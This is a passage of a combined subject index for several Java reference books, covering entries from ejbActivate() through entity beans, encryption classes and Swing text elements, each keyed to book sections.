ejbActivate( ): 3.1.2 The Activation Mechanism, Enterprise JavaBeans
3.1.2 The Activation Mechanism, Enterprise JavaBeans
6.3.3.3 Transitioning from the Pooled state to the Ready State via activation, Enterprise JavaBeans
7.4.3 Passivated State, Enterprise JavaBeans
EntityBean interface: 7.4.3. The Bean Implementation, Java Enterprise in a Nutshell
19. The javax.ejb Package, Java Enterprise in a Nutshell
SessionBean interface: 7.4.3. The Bean Implementation, Java Enterprise in a Nutshell
7.5. Implementing Session Beans, Java Enterprise in a Nutshell
19. The javax.ejb Package, Java Enterprise in a Nutshell
EJBContext interface: 2.3 The Bean-Container Contract, Enterprise JavaBeans
3.1.1.2 Overview of state transitions, Enterprise JavaBeans
10.5.3 Environment Entries, Enterprise JavaBeans
19. The javax.ejb Package, Java Enterprise in a Nutshell
client transaction context, including: 7.3. Transaction Management, Java Enterprise in a Nutshell
defining (EJB 1.1): 6.2.4 EJB 1.1: EJBContext, Enterprise JavaBeans
EJB API: A.1.3 EJBContext interface , Enterprise JavaBeans
environment properties, specifying (deployment): 7.7. Deploying an Enterprise JavaBeans Object, Java Enterprise in a Nutshell
rollback methods: 8.5.5 EJBContext Rollback Methods, Enterprise JavaBeans
session beans: 7.5. Implementing Session Beans, Java Enterprise in a Nutshell
stateless session beans: 7.1.2.8 EJB 1.1: EJBContext, Enterprise JavaBeans
transactions, obtaining from container (beans): 7.3. Transaction Management, Java Enterprise in a Nutshell
UserTransaction object, obtaining: 8.5.1 Transaction Propagation in Bean-Managed Transactions, Enterprise JavaBeans
ejbCreate( ): 7.4.3. The Bean Implementation, Java Enterprise in a Nutshell
7.4.3. The Bean Implementation, Java Enterprise in a Nutshell
7.6.3. Entity Bean Implementation, Java Enterprise in a Nutshell
7.6.3. Entity Bean Implementation, Java Enterprise in a Nutshell
4.2.4 CabinBean: The Bean Class, Enterprise JavaBeans
adding entity to database: 6.2.7 The ejbCreate( ) Method, Enterprise JavaBeans
bean class, stateful session beans: 7.3.1.4 TravelAgentBean: The bean class, Enterprise JavaBeans
bean instance creation, sequence of events: 6.1.8.3 ejbCreate( ) and ejbPostCreate( ) sequence of events, Enterprise JavaBeans
container-managed entity beans: 6.1.8 The Create Methods, Enterprise JavaBeans
create( ), matching in home interface: 5.2.3.4 Creating and finding beans, Enterprise JavaBeans
EJB specification 1.1, changes: 7.9.5. Assorted Other Changes, Java Enterprise in a Nutshell
stateless session beans: 7.2.2.1 Transitioning to the Method-Ready Pool, Enterprise JavaBeans
EJBException class: 6.2.10 ejbFind( ) Methods, Enterprise JavaBeans
19. The javax.ejb Package, Java Enterprise in a Nutshell
in bean-managed persistence: 6.2.1 Making the ShipBean a Bean-Managed Entity, Enterprise JavaBeans
checked subsystem exceptions, wrapping: 6.2.2 Exception Handling, Enterprise JavaBeans
EJB callback methods and: 6.2.8 The ejbLoad( ) and ejbStore( ) Methods, Enterprise JavaBeans
Version 1.1: A.1.4 EJBExceptionVersion 1.1 EJBException (1.1), Enterprise JavaBeans
ejbFind( ): 6.2.10 ejbFind( ) Methods, Enterprise JavaBeans
(see also find methods)
entity beans with bean-managed persistence: 6.2.10 ejbFind( ) Methods, Enterprise JavaBeans
ejbFindByPrimaryKey( ): 7.6.3. Entity Bean Implementation, Java Enterprise in a Nutshell
EJBHome interface: 2.1.3 The Unseen Pieces, Enterprise JavaBeans
2.1.3.2 The EJB home, Enterprise JavaBeans
2.1.3.3 Deploying a bean, Enterprise JavaBeans
4.2.2 CabinHome: The Home Interface, Enterprise JavaBeans
5.2.2 EJB 1.1 and 1.0: The Java RMI Programming Model, Enterprise JavaBeans
5.2.2 EJB 1.1 and 1.0: The Java RMI Programming Model, Enterprise JavaBeans
5.2.3 The Home Interface, Enterprise JavaBeans
5.2.5.1 Getting the EJBHome, Enterprise JavaBeans
A.1.5 EJBHome interface EJBHome, Enterprise JavaBeans
7.4.1. Home Interface, Java Enterprise in a Nutshell
7.9.3. Home Handles, Java Enterprise in a Nutshell
19. The javax.ejb Package, Java Enterprise in a Nutshell
for EJB 1.1: 5.2.3 The Home Interface, Enterprise JavaBeans
locating reference to with JNDI: 3.2.5 Naming, Enterprise JavaBeans
reference to: 4.3.3.1 EJB 1.1: TravelAgentBean, Enterprise JavaBeans
4.3.3.2 EJB 1.0: TravelAgentBean, Enterprise JavaBeans
stateless session bean: 7.1.2.5 ProcessPaymentHome: The home interface, Enterprise JavaBeans
transactional attributes for remove methods: 10.6.1 Specifying a Bean's Transactional Attributes, Enterprise JavaBeans
EJBHome server: 7.1. A Note on Evolving Standards, Java Enterprise in a Nutshell
ejbLoad( ): 2.3 The Bean-Container Contract, Enterprise JavaBeans
6.1.8.4 Using ejbLoad( ) and ejbStore( ) in container-managed beans, Enterprise JavaBeans
6.2.8 The ejbLoad( ) and ejbStore( ) Methods, Enterprise JavaBeans
6.3.3.3 Transitioning from the Pooled state to the Ready State via activation, Enterprise JavaBeans
7.6.3. Entity Bean Implementation, Java Enterprise in a Nutshell
bean-managed persistence, use in: 6.2.8 The ejbLoad( ) and ejbStore( ) Methods, Enterprise JavaBeans
entity beans, container-managed persistence: 7.6.7. Container-Managed Persistence, Java Enterprise in a Nutshell
EntityBean interface: 19. The javax.ejb Package, Java Enterprise in a Nutshell
Properties object, deserializing: 7.6.7.1. Handling complex data structures, Java Enterprise in a Nutshell
Ready state and: 6.3.4 Life in the Ready State, Enterprise JavaBeans
EJBMetaData interface: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject, Enterprise JavaBeans
5.2.3.2 Bean metadata, Enterprise JavaBeans
19. The javax.ejb Package, Java Enterprise in a Nutshell
EJB API: A.1.6 EJBMetaData interface, Enterprise JavaBeans
session beans: 7.1.2.5 ProcessPaymentHome: The home interface, Enterprise JavaBeans
EJBObject interface: 5.2.2 EJB 1.1 and 1.0: The Java RMI Programming Model, Enterprise JavaBeans
5.2.2 EJB 1.1 and 1.0: The Java RMI Programming Model, Enterprise JavaBeans
19. The javax.ejb Package, Java Enterprise in a Nutshell
defining, client-side API: 5.2.5 EJBObject, Handle, and Primary Key, Enterprise JavaBeans
disassociating instances from: 3.1.2 The Activation Mechanism, Enterprise JavaBeans
EJB API: A.1.7 EJBObject interfaceEJB API EJBObject, Enterprise JavaBeans
HomeHandle object, retrieving: 5.2.3.3 EJB 1.1: The HomeHandle, Enterprise JavaBeans
implementation strategies: 2.1.3.1 The EJB object, Enterprise JavaBeans
remote interface: 7.4.2. Remote Interface, Java Enterprise in a Nutshell
direct implementation: 7.4.3. The Bean Implementation, Java Enterprise in a Nutshell
transactional attributes for remove methods: 10.6.1 Specifying a Bean's Transactional Attributes, Enterprise JavaBeans
ejbPassivate( ): 3.1.2 The Activation Mechanism, Enterprise JavaBeans
3.1.2 The Activation Mechanism, Enterprise JavaBeans
6.3.3.5 Transitioning from the Ready State to the Pooled state via removal, Enterprise JavaBeans
closing JNDI context: 7.3.1.4 TravelAgentBean: The bean class, Enterprise JavaBeans
EntityBean interface: 7.4.3. The Bean Implementation, Java Enterprise in a Nutshell
19. The javax.ejb Package, Java Enterprise in a Nutshell
SessionBean interface: 7.4.3. The Bean Implementation, Java Enterprise in a Nutshell
7.5. Implementing Session Beans, Java Enterprise in a Nutshell
19. The javax.ejb Package, Java Enterprise in a Nutshell
ejbPostCreate( ): 7.6.3. Entity Bean Implementation, Java Enterprise in a Nutshell
bean instance creation, sequence of events: 6.1.8.3 ejbCreate( ) and ejbPostCreate( ) sequence of events, Enterprise JavaBeans
container-managed entity beans: 6.1.8.2 ejbPostCreate( ), Enterprise JavaBeans
EJBHome: 4.2.4 CabinBean: The Bean Class, Enterprise JavaBeans
entity beans, creating: 6.3.3.1 Transitioning from the Pooled state to the Ready State via creation, Enterprise JavaBeans
ejbRemove( ): 6.3.3.5 Transitioning from the Ready State to the Pooled state via removal, Enterprise JavaBeans
7.4.3. The Bean Implementation, Java Enterprise in a Nutshell
7.6.3. Entity Bean Implementation, Java Enterprise in a Nutshell
EntityBean interface: 19. The javax.ejb Package, Java Enterprise in a Nutshell
removing bean-managed entities with: 6.2.9 The ejbRemove( ) Method, Enterprise JavaBeans
SessionBean interface: 7.5. Implementing Session Beans, Java Enterprise in a Nutshell
19. The javax.ejb Package, Java Enterprise in a Nutshell
stateless session beans, closing open connections: 7.2.2.1 Transitioning to the Method-Ready Pool, Enterprise JavaBeans
ejbStore( ): 7.6.3. Entity Bean Implementation, Java Enterprise in a Nutshell
2.3 The Bean-Container Contract, Enterprise JavaBeans
6.1.8.4 Using ejbLoad( ) and ejbStore( ) in container-managed beans, Enterprise JavaBeans
bean-managed persistence, use in: 6.2.8 The ejbLoad( ) and ejbStore( ) Methods, Enterprise JavaBeans
defining: 6.2.8 The ejbLoad( ) and ejbStore( ) Methods, Enterprise JavaBeans
entity beans, container-managed persistence: 7.6.7. Container-Managed Persistence, Java Enterprise in a Nutshell
EntityBean interface: 19. The javax.ejb Package, Java Enterprise in a Nutshell
Properties object, serializing: 7.6.7.1. Handling complex data structures, Java Enterprise in a Nutshell
Ready state and: 6.3.4 Life in the Ready State, Enterprise JavaBeans
electronic commerce (see e-commerce)
electronic cookbook encryption mode: 13.5. Encrypting Data, Java Security
elegance of servlet code: 1.3.5. Elegance, Java Servlet Programming
Element interface: 30. The javax.swing.text Package, Java Foundation Classes
32. The javax.swing.text.html.parser Package, Java Foundation Classes
elementAt( ) (Vector): 23. The java.util Package, Java in a Nutshell
ElementBuffer class: 30. The javax.swing.text Package, Java Foundation Classes
ElementChange interface: 26. The javax.swing.event Package, Java Foundation Classes
ElementEdit class: 30. The javax.swing.text Package, Java Foundation Classes
ElementIterator class: 30. The javax.swing.text Package, Java Foundation Classes
elements( )
Hashtable class: 23. The java.util Package, Java in a Nutshell
PermissionCollection class: 5.2.5. Permission Collections, Java Security
Permissions class: 17. The java.security Package, Java in a Nutshell
Vector class: 23. The java.util Package, Java in a Nutshell
ElementSpec class: 30. The javax.swing.text Package, Java Foundation Classes
Ellipse2D class: 16. The java.awt.geom Package, Java Foundation Classes
ellipses, Java 2D: 4.4 Shapes, Java Foundation Classes
else if clause: 2.6.6.1. The else if clause, Java in a Nutshell
emacs text editor: 1.3.1. Compiling and Running the Program, Java in a Nutshell
email servlets: 13.2. Sending Email, Java Servlet Programming
embedded applets: 6.1.5. An Image of an Embedded Applet, Java Servlet Programming
embedded servlets
limited response capability: 2.4.1. Writing a Server-Side Include, Java Servlet Programming
SSI functionality: 2.4. Server-Side Includes, Java Servlet Programming
empty flag: 38.2.3.1. Member availability and flags, Java Enterprise in a Nutshell
empty statements: 2.6.3. The Empty Statement, Java in a Nutshell
EmptyBorder class: 3.10 Borders, Java Foundation Classes
24. The javax.swing.border Package, Java Foundation Classes
EmptyBorderUIResource class: 28. The javax.swing.plaf Package, Java Foundation Classes
EmptySelectionModel class: 23. The javax.swing Package, Java Foundation Classes
EmptyStackException: 23. The java.util Package, Java in a Nutshell
enable( ) (Compiler): 12. The java.lang Package, Java in a Nutshell
enableEvents( ): 2.6.5 Handling Input Events Directly, Java Foundation Classes
3.24.5 Handling Events, Java Foundation Classes
AWTEvent class: 9. The java.awt Package, Java Foundation Classes
enableReplaceObject( ) (ObjectOutputStream): 11. The java.io Package, Java in a Nutshell
enableResolveObject( ) (ObjectOutputStream): 11. The java.io Package, Java in a Nutshell
encapsulation: 3.5. Data Hiding and Encapsulation, Java in a Nutshell
2.1. Java Language Security Constructs, Java Security
business logic into business objects: 1.1.2 Server-Side Components, Enterprise JavaBeans
in database design: 7.2.2. Defining the Data Objects, Java Distributed Computing
primary key data: 5.2.5.2 Primary key, Enterprise JavaBeans
10.5.2 Specifying Primary Keys, Enterprise JavaBeans
workflow, in stateful session beans: 7.3 The Stateful Session Bean, Enterprise JavaBeans
EncodedKeySpec class: 10.3.3.1. The EncodedKeySpec class, Java Security
D.4. Package java.security.spec, Java Security
EncodedKeySpec interface: 21. The java.security.spec Package, Java in a Nutshell
encodeRedirectURL( ) (HttpServletResponse): 5.8. Session Tracking, Java Enterprise in a Nutshell
encodeRedirectUrl( ) method: 7.5.7. Storing Session IDs, Java Servlet Programming
encodeURL( ) (HttpServletResponse): 5.8. Session Tracking, Java Enterprise in a Nutshell
encodeUrl( ) method: 7.5.7. Storing Session IDs, Java Servlet Programming
encoding: 2.1. The Unicode Character Set, Java in a Nutshell
keys: 10.1.1. The Key Interface, Java Security
10.3.3.1. The EncodedKeySpec class, Java Security
tool for: 8. Java Development Tools, Java in a Nutshell
encrypting and decrypting data: 26. The javax.crypto Package, Java in a Nutshell
encryption: 1.3.6.2. Secure remote transactions, Java Distributed Computing
5.2.2. The Core Security API, Java Distributed Computing
5.6. Data Encryption, Java Distributed Computing
4.14. Cryptography, Java in a Nutshell
(see also cryptography)
asymmetric algorithms: 5.4.2. Public Key Methods, Java Distributed Computing
5.6.1. Ciphers for Secure Data Transfers, Java Distributed Computing
authentication vs.: 7.1.2. Data Authentication, Java Security
available techniques for: 5.7.2.1. Encryption techniques, Java Distributed Computing
cipher algorithms: 13.5.2. Cipher Algorithms, Java Security
Cipher class: 13.2. The Sun Security Provider in the JCE, Java Security
13.5. Encrypting Data, Java Security
D.5. Package javax.crypto, Java Security
cipher streams: 13.6. Cipher Streams, Java Security
Diffie-Hellman (see Diffie-Hellman algorithm)
EncryptedInputStream class (example): 1.3.6.2. Secure remote transactions, Java Distributed Computing
engines: 7.3.4. Encryption Engines, Java Security
export restrictions: 13.1. Export Restrictions, Java Security
of keystores: 11.2. The KeyStore Class, Java Security
of message digests: 9.1.1. Secure Message Digests, Java Security
modes of: 13.5. Encrypting Data, Java Security
NullCipher class: 13.5.1. Using the Cipher Class, Java Security
D.5. Package javax.crypto, Java Security
padding schemes: 13.5. Encrypting Data, Java Security
13.5. Encrypting Data, Java Security
PGP for: 5.7.3.2. Pretty Good Privacy (PGP), Java Distributed Computing
of private keys: 11.3. A Key Management Example, Java Security
process of: 13.5. Encrypting Data, Java Security
public-key: 4.13. Security, Java in a Nutshell
7.3.2. Cryptographic Keys, Java Security
generating public keys: 10.3.2. Implementing a Key Factory, Java Security
importing public keys: 10.3.1. Using the KeyFactory class, Java Security
including key with signatures: 12.1.3. Signing and Certificates, Java Security
package for: 4.1. Java Platform Overview, Java in a Nutshell
PublicKey class: D.1. Package java.security, Java Security
PublicKey interface: 10.1.1. The Key Interface, Java Security
restrictions: 4.3.2. Restricting Access to the United States and Canada, Java Servlet Programming
RSA (see RSA encryption)
sealed classes: 13.8. Sealed Objects, Java Security
D.5. Package javax.crypto, Java Security
SSL encryption: 7.1.3. Java's Role in Authentication, Java Security
13.6.3. SSL Encryption, Java Security
SSL for: 5.7.3.1. Secure Socket Layer (SSL), Java Distributed Computing
symmetric algorithms: 5.6.1. Ciphers for Secure Data Transfers, Java Distributed Computing
symmetric key agreements: 13.7. Symmetric Key Agreement, Java Security
end( ): 5.1 Printing in Java 1.1, Java Foundation Classes
CompoundEdit class: 35. The javax.swing.undo Package, Java Foundation Classes
PrintJob class: 9. The java.awt Package, Java Foundation Classes
StateEdit class: 35. The javax.swing.undo Package, Java Foundation Classes
UndoManager class: 35. The javax.swing.undo Package, Java Foundation Classes
XAResource: 29. The javax.transaction.xa Package, Java Enterprise in a Nutshell
end caps, Java 2D: 4.5.1 BasicStroke, Java Foundation Classes
end users, security for: 5.5.4. Security for End Users, Java in a Nutshell
endsWith( ): 12. The java.lang Package, Java in a Nutshell
endUpdate( ) (UndoableEditSupport): 35. The javax.swing.undo Package, Java Foundation Classes
enforcing Java language rules: 2.2. Enforcement of the Java Language Rules, Java Security
engineDigest( ), MessageDigest class: 9.3. Implementing a MessageDigest Class, Java Security
engineDoFinal( ), Cipher class: 13.5.3. Implementing the Cipher Class, Java Security
engineGeneratePrivate( ), KeyFactorySpi class: 10.3.2. Implementing a Key Factory, Java Security
engineGeneratePublic( ), KeyFactorySpi class: 10.3.2. Implementing a Key Factory, Java Security
engineGetBlockSize( ), Cipher class: 13.5.3. Implementing the Cipher Class, Java Security
engineGetDigestLength( ), MessageDigest class: 9.3. Implementing a MessageDigest Class, Java Security
engineGetIV( ), Cipher class: 13.5.3. Implementing the Cipher Class, Java Security
engineGetOutputSize( ), Cipher class: 13.5.3. Implementing the Cipher Class, Java Security
engineGetParameter( ), Signature class: 12.3. Implementing a Signature Class, Java Security
engineReset( ): 9.3. Implementing a MessageDigest Class, Java Security
engines, security: 8.1. The Architecture of Security Providers, Java Security
classes for: 8.1.1. Components of the Architecture, Java Security
8.4. The Architecture of Engine Classes, Java Security
cryptography: 7.3. Cryptographic Engines, Java Security
encryption: 7.3.4. Encryption Engines, Java Security
key-related: 10. Keys and Certificates, Java Security
message digests: 9.3. Implementing a MessageDigest Class, Java Security
secret keys: 13.4. Secret Key Engines, Java Security
engineSetMode( )
Cipher class: 13.5.3. Implementing the Cipher Class, Java Security
CipherSpi class: 26. The javax.crypto Package, Java in a Nutshell
engineSetPadding( )
Cipher class: 13.5.3. Implementing the Cipher Class, Java Security
CipherSpi class: 26. The javax.crypto Package, Java in a Nutshell
engineSetParameter( ), Signature class: 12.3. Implementing a Signature Class, Java Security
engineUpdate( )
Cipher class: 13.5.3. Implementing the Cipher Class, Java Security
MessageDigest class: 9.3. Implementing a MessageDigest Class, Java Security
Signature class: 12.3. Implementing a Signature Class, Java Security
engineVerify( ), Signature class: 12.3. Implementing a Signature Class, Java Security
enqueue( ) (Reference): 13. The java.lang.ref Package, Java in a Nutshell
ensureCapacity( )
ArrayList class: 23. The java.util Package, Java in a Nutshell
Vector class: 23. The java.util Package, Java in a Nutshell
Enterprise Archive (EAR) files: 11.4 J2EE Fills in the Gaps, Enterprise JavaBeans
contents of: 11.4 J2EE Fills in the Gaps, Enterprise JavaBeans
enterprise beans: 2.1 The Enterprise Bean Component, Enterprise JavaBeans
2.1.1 Classes and Interfaces, Enterprise JavaBeans
2.1.3.3 Deploying a bean, Enterprise JavaBeans
accessing from client application: 4.2.10 Creating a Client Application, Enterprise JavaBeans
adding to containers: 2.1.3.3 Deploying a bean, Enterprise JavaBeans
authentication, performing explicitly: 6.2.6.1 EJB 1.1: Using JDBC in EJB, Enterprise JavaBeans
classes and interfaces: 2.1.1 Classes and Interfaces, Enterprise JavaBeans
2.1.1.5 What about session beans? , Enterprise JavaBeans
containers and: 2.3 The Bean-Container Contract, Enterprise JavaBeans
deployment: 7.7. Deploying an Enterprise JavaBeans Object, Java Enterprise in a Nutshell
developing your first: 4.1 Choosing and Setting Up an EJB Server, Enterprise JavaBeans
interacting with other beans: 4.3.3.1 EJB 1.1: TravelAgentBean, Enterprise JavaBeans
4.3.3.2 EJB 1.0: TravelAgentBean, Enterprise JavaBeans
JDBC connections, acquiring: 7.3.1. Making the EJB Server Aware of Database Transactions, Java Enterprise in a Nutshell
methods, required implementation: 7.4.3. The Bean Implementation, Java Enterprise in a Nutshell
packaging into EJB-JAR files: 7.7. Deploying an Enterprise JavaBeans Object, Java Enterprise in a Nutshell
as RMI objects: 1.4.2. Updating CornCo with Enterprise JavaBeans, Java Enterprise in a Nutshell
RMI remote objects vs.: 1.3.5. Enterprise JavaBeans, Java Enterprise in a Nutshell
structural information, separating from application-specific: 7.9.1. XML-Based Deployment Descriptors, Java Enterprise in a Nutshell
using as client: 7.8. Using an Enterprise JavaBeans Object, Java Enterprise in a Nutshell
using (Titan Cruises example): 2.2 Using Enterprise Beans, Enterprise JavaBeans
enterprise-beans element: 2.1.2.2 EJB 1.1: Deployment descriptors, Enterprise JavaBeans
4.2.5 EJB 1.1: The Deployment Descriptor, Enterprise JavaBeans
10.4 The Descriptor's Body, Enterprise JavaBeans
10.5 Describing Beans, Enterprise JavaBeans
enterprise computing: 1.1. Enterprise Computing Defined, Java Enterprise in a Nutshell
1.2. Enterprise Computing Demystified, Java Enterprise in a Nutshell
Enterprise JavaBeans (see EJB)
Enterprise Resource Planing (ERP) systems, indexing objects to databases: 6.1.2.3 EJB 1.1: Undefined primary keys, Enterprise JavaBeans
Enterprise Server
supports SSJS: 1.1.2.3. Server-side JavaScript, Java Servlet Programming
web site for information: 1.2.1. Standalone Servlet Engines, Java Servlet Programming
EnterpriseBean interface: A.1.8 EnterpriseBean, Enterprise JavaBeans
7.4.3. The Bean Implementation, Java Enterprise in a Nutshell
7.5. Implementing Session Beans, Java Enterprise in a Nutshell
19. The javax.ejb Package, Java Enterprise in a Nutshell
entity beans: 6. Entity Beans, Enterprise JavaBeans
10.5.1 Session and Entity Beans, Enterprise JavaBeans
7.2.2. The Enterprise JavaBeans Object, Java Enterprise in a Nutshell
activating: 7.6.5. Life Cycle of an Entity Bean, Java Enterprise in a Nutshell
as fields within other beans: 9.7.2 Complex Entity Relationships, Enterprise JavaBeans
9.7.2.3 Native Java persistence, Enterprise JavaBeans
database mapping: 9.7.2.1 One-to-many database mapping, Enterprise JavaBeans
9.7.2.3 Native Java persistence, Enterprise JavaBeans
bean class, developing (example): 4.2.4 CabinBean: The Bean Class, Enterprise JavaBeans
bean-managed persistence: 6.2 Bean-Managed Persistence, Enterprise JavaBeans
adding to database with ejbCreate( ): 6.2.7 The ejbCreate( ) Method, Enterprise JavaBeans
connections to database, obtaining: 6.2.6 Obtaining a Connection to the Database, Enterprise JavaBeans
defining (example): 6.2.1 Making the ShipBean a Bean-Managed Entity, Enterprise JavaBeans
deployment: 6.2.11 EJB 1.1: Deploying the Bean-Managed Ship Bean, Enterprise JavaBeans
find methods: 6.2.10 ejbFind( ) Methods, Enterprise JavaBeans
methods, required (EJB): 7.6.3.1. A persistent ProfileBean, Java Enterprise in a Nutshell
removing from database: 6.2.9 The ejbRemove( ) Method, Enterprise JavaBeans
synchronization with database: 6.2.8 The ejbLoad( ) and ejbStore( ) Methods, Enterprise JavaBeans
client application, using: 7.3.1.5 Why use a Reservation entity bean?, Enterprise JavaBeans
code, downloading from O'Reilly web site: 7.1.1 Downloading the Missing Pieces, Enterprise JavaBeans
concurrency: 3.2.1 Concurrency, Enterprise JavaBeans
container-managed persistence: 6.1 Container-Managed Persistence, Enterprise JavaBeans
bean class: 6.1.5 The ShipBean Class, Enterprise JavaBeans
client application, creating: 6.1.9 The Client Application , Enterprise JavaBeans
complex data structures, mapping: 7.6.7.1. Handling complex data structures, Java Enterprise in a Nutshell
create and remove methods: 7.6.7. Container-Managed Persistence, Java Enterprise in a Nutshell
database mapping: 7.7.1. Container-Managed Data Mapping, Java Enterprise in a Nutshell
deployment descriptors (EJB 1.1): 6.1.8.5 EJB 1.1: Deploying the ShipBean, Enterprise JavaBeans
ejbLoad( ) and ejbStore( ), using in: 6.1.8.4 Using ejbLoad( ) and ejbStore( ) in container-managed beans, Enterprise JavaBeans
EntityBean interface, implementing: 6.1.6 Implementing the javax.ejb.EntityBean Interface, Enterprise JavaBeans
home interface: 6.1.3 The Home Interface, Enterprise JavaBeans
loading and storing methods: 7.6.7. Container-Managed Persistence, Java Enterprise in a Nutshell
portability (EJB servers), problems with: 7.6.7. Container-Managed Persistence, Java Enterprise in a Nutshell
primary key: 6.1.2 The Primary Key, Enterprise JavaBeans
6.1.2.3 EJB 1.1: Undefined primary keys, Enterprise JavaBeans
10.5.2.1 Deferring primary key definition, Enterprise JavaBeans
primary key type (EJB 1.1): 7.9.5. Assorted Other Changes, Java Enterprise in a Nutshell
remote interface, defining: 6.1.1 The Remote Interface, Enterprise JavaBeans
sequence diagrams: B.1.2 Sequence Diagrams for Container-Managed Persistence, Enterprise JavaBeans
container-transaction element declarations: 10.6 Describing Bean Assembly, Enterprise JavaBeans
context: 7.6.4. The Entity Context, Java Enterprise in a Nutshell
create methods: 7.4.3. The Bean Implementation, Java Enterprise in a Nutshell
creating and finding: 7.8.2. Creating/Finding Beans, Java Enterprise in a Nutshell
dependent classes vs.: 7.1.2.3 Dependent classes: The CreditCard and Check classes, Enterprise JavaBeans
developing (example): 4.2 Developing an Entity Bean, Enterprise JavaBeans
client application, creating: 4.2.10 Creating a Client Application, Enterprise JavaBeans
deployment: 4.2.9 Deploying the Cabin Bean, Enterprise JavaBeans
deployment descriptor (EJB 1.0): 4.2.6 EJB 1.0: The Deployment Descriptor, Enterprise JavaBeans
deployment descriptor (XML): 4.2.4 CabinBean: The Bean Class, Enterprise JavaBeans
home interface: 4.2.2 CabinHome: The Home Interface, Enterprise JavaBeans
JAR files: 4.2.7 cabin.jar: The JAR File, Enterprise JavaBeans
primary key: 4.2.3 CabinPK: The Primary Key, Enterprise JavaBeans
remote interface: 4.2.1 Cabin: The Remote Interface, Enterprise JavaBeans
direct database access vs.: 6. Entity Beans, Enterprise JavaBeans
EJB 1.1, new features for: D.1 Entity Beans, Enterprise JavaBeans
finder methods
bean-managed persistence: 7.6.3.1. A persistent ProfileBean, Java Enterprise in a Nutshell
executing: 7.6.2. Finder Methods, Java Enterprise in a Nutshell
getting information from: 2.2.1 Getting Information from an Entity Bean, Enterprise JavaBeans
handles: 7.6.6. Handles on Entity Beans, Java Enterprise in a Nutshell
implementation of: 5.2.6 Inside the Handle, Enterprise JavaBeans
implementation: 7.6. Implementing Entity Beans, Java Enterprise in a Nutshell
7.6.3. Entity Bean Implementation, Java Enterprise in a Nutshell
implementing: 7.6. Implementing Entity Beans, Java Enterprise in a Nutshell
Java classes/interfaces required: 7.4. Implementing a Basic EJB Object, Java Enterprise in a Nutshell
life cycle: 3.1.1.1 The entity bean life cycle, Enterprise JavaBeans
6.3 The Life Cycle of an Entity Bean, Enterprise JavaBeans
7.6.5. Life Cycle of an Entity Bean, Java Enterprise in a Nutshell
ending: 6.3.5 End of the Life Cycle, Enterprise JavaBeans
Ready state: 6.3.3 The Ready State, Enterprise JavaBeans
6.3.4 Life in the Ready State, Enterprise JavaBeans
state diagram: B.1 Entity Beans, Enterprise JavaBeans
transitions in states: 3.1.1.2 Overview of state transitions, Enterprise JavaBeans
transitions to/from Pooled to Ready state: 6.3.3.1 Transitioning from the Pooled state to the Ready State via creation, Enterprise JavaBeans
listing behavior vs.: 7.3.1.6 listAvailableCabins( ): Listing behavior, Enterprise JavaBeans
9.3.2 Resource Consumption, Enterprise JavaBeans
mapping to databases: 4.2.8 Creating a CABIN Table in the Database, Enterprise JavaBeans
4.2.9.2 EJB 1.0 deployment tools, Enterprise JavaBeans
methods requiring transaction attributes: 10.6.1 Specifying a Bean's Transactional Attributes, Enterprise JavaBeans
modeling business concepts: 2.1 The Enterprise Bean Component, Enterprise JavaBeans
6. Entity Beans, Enterprise JavaBeans
names, preventing client change: 7.6.3.1. A persistent ProfileBean, Java Enterprise in a Nutshell
nonreentrance policy: 3.2.1.1 Reentrance, Enterprise JavaBeans
object serialization and: 3.1.2 The Activation Mechanism, Enterprise JavaBeans
operations allowed for: B.1.3 Sequence Diagrams for Bean-Managed Persistence, Enterprise JavaBeans
persistence: 3.2.3 Persistence , Enterprise JavaBeans
6. Entity Beans, Enterprise JavaBeans
7.6.3.1. A persistent ProfileBean, Java Enterprise in a Nutshell
bean-managed: 7.6.3.1. A persistent ProfileBean, Java Enterprise in a Nutshell
persistent fields, manipulating with bulk accessors: 9.2.3 Bulk Accessors, Enterprise JavaBeans
primary keys: 5.2.5.2 Primary key, Enterprise JavaBeans
5.2.5.2 Primary key, Enterprise JavaBeans
6.1.2.2 Single-field key, Enterprise JavaBeans
class (example): 7.6.1. Primary Keys, Java Enterprise in a Nutshell
container-managed persistence: 7.6.7. Container-Managed Persistence, Java Enterprise in a Nutshell
EJB 1.1 specification, changes: 7.9.5. Assorted Other Changes, Java Enterprise in a Nutshell
properties, defining as business concept: 6.1.1.1 Set and get methods, Enterprise JavaBeans
relationships: 9.7 Entity Bean Relationships, Enterprise JavaBeans
remove methods: 5.2.3.1 removing beans Removing beans, Enterprise JavaBeans
removing: 5.2.3.1 removing beans Removing beans, Enterprise JavaBeans
5.2.5.4 Removing beans, Enterprise JavaBeans
runAs Identity: 3.2.6.2 EJB 1.0: Method-driven access control, Enterprise JavaBeans
servers, not supporting: 9.9 When Entity Beans Are Not an Option, Enterprise JavaBeans
session beans, emulating: 9.9.1 Emulating Entity Beans with Session Beans, Enterprise JavaBeans
session beans vs.: 2.2.2 Modeling Workflow with Session Beans, Enterprise JavaBeans
7. Session Beans, Enterprise JavaBeans
7.3.1.5 Why use a Reservation entity bean?, Enterprise JavaBeans
9.3.3 Striking a Balance, Enterprise JavaBeans
7.2.2. The Enterprise JavaBeans Object, Java Enterprise in a Nutshell
simple relationships: 9.7.1 Simple Associations, Enterprise JavaBeans
9.7.1.5 Native Java persistence, Enterprise JavaBeans
byte arrays and Java serialization: 9.7.1.2 Mapping serializable to VARBINARY, Enterprise JavaBeans
handles: 9.7.1.4 Preserving the handle, Enterprise JavaBeans
native Java persistence: 9.7.1.5 Native Java persistence, Enterprise JavaBeans
state (see life cycle)
support required (EJB 1.1): 7.9.2. Entity Beans Required, Java Enterprise in a Nutshell
UserTransaction transactions (EJB 1.0): 8.5.1 Transaction Propagation in Bean-Managed Transactions, Enterprise JavaBeans
without create methods: 9.6 Entity Beans Without Create Methods, Enterprise JavaBeans
Entity class: 32. The javax.swing.text.html.parser Package, Java Foundation Classes
entity context methods in bean class: 4.2.4 CabinBean: The Bean Class, Enterprise JavaBeans
entity elements: 2.1.2.2 EJB 1.1: Deployment descriptors, Enterprise JavaBeans
4.2.5 EJB 1.1: The Deployment Descriptor, Enterprise JavaBeans
10.5 Describing Beans, Enterprise JavaBeans
10.5 Describing Beans, Enterprise JavaBeans
entity objects
network traffic (impact of overuse): 9.3.1 Network Traffic and Latency, Enterprise JavaBeans
passing by value: 9.2.4 Entity Objects, Enterprise JavaBeans
9.2.4 Entity Objects, Enterprise JavaBeans
(see also passing objects by value)
EntityBean interface: 2.3 The Bean-Container Contract, Enterprise JavaBeans
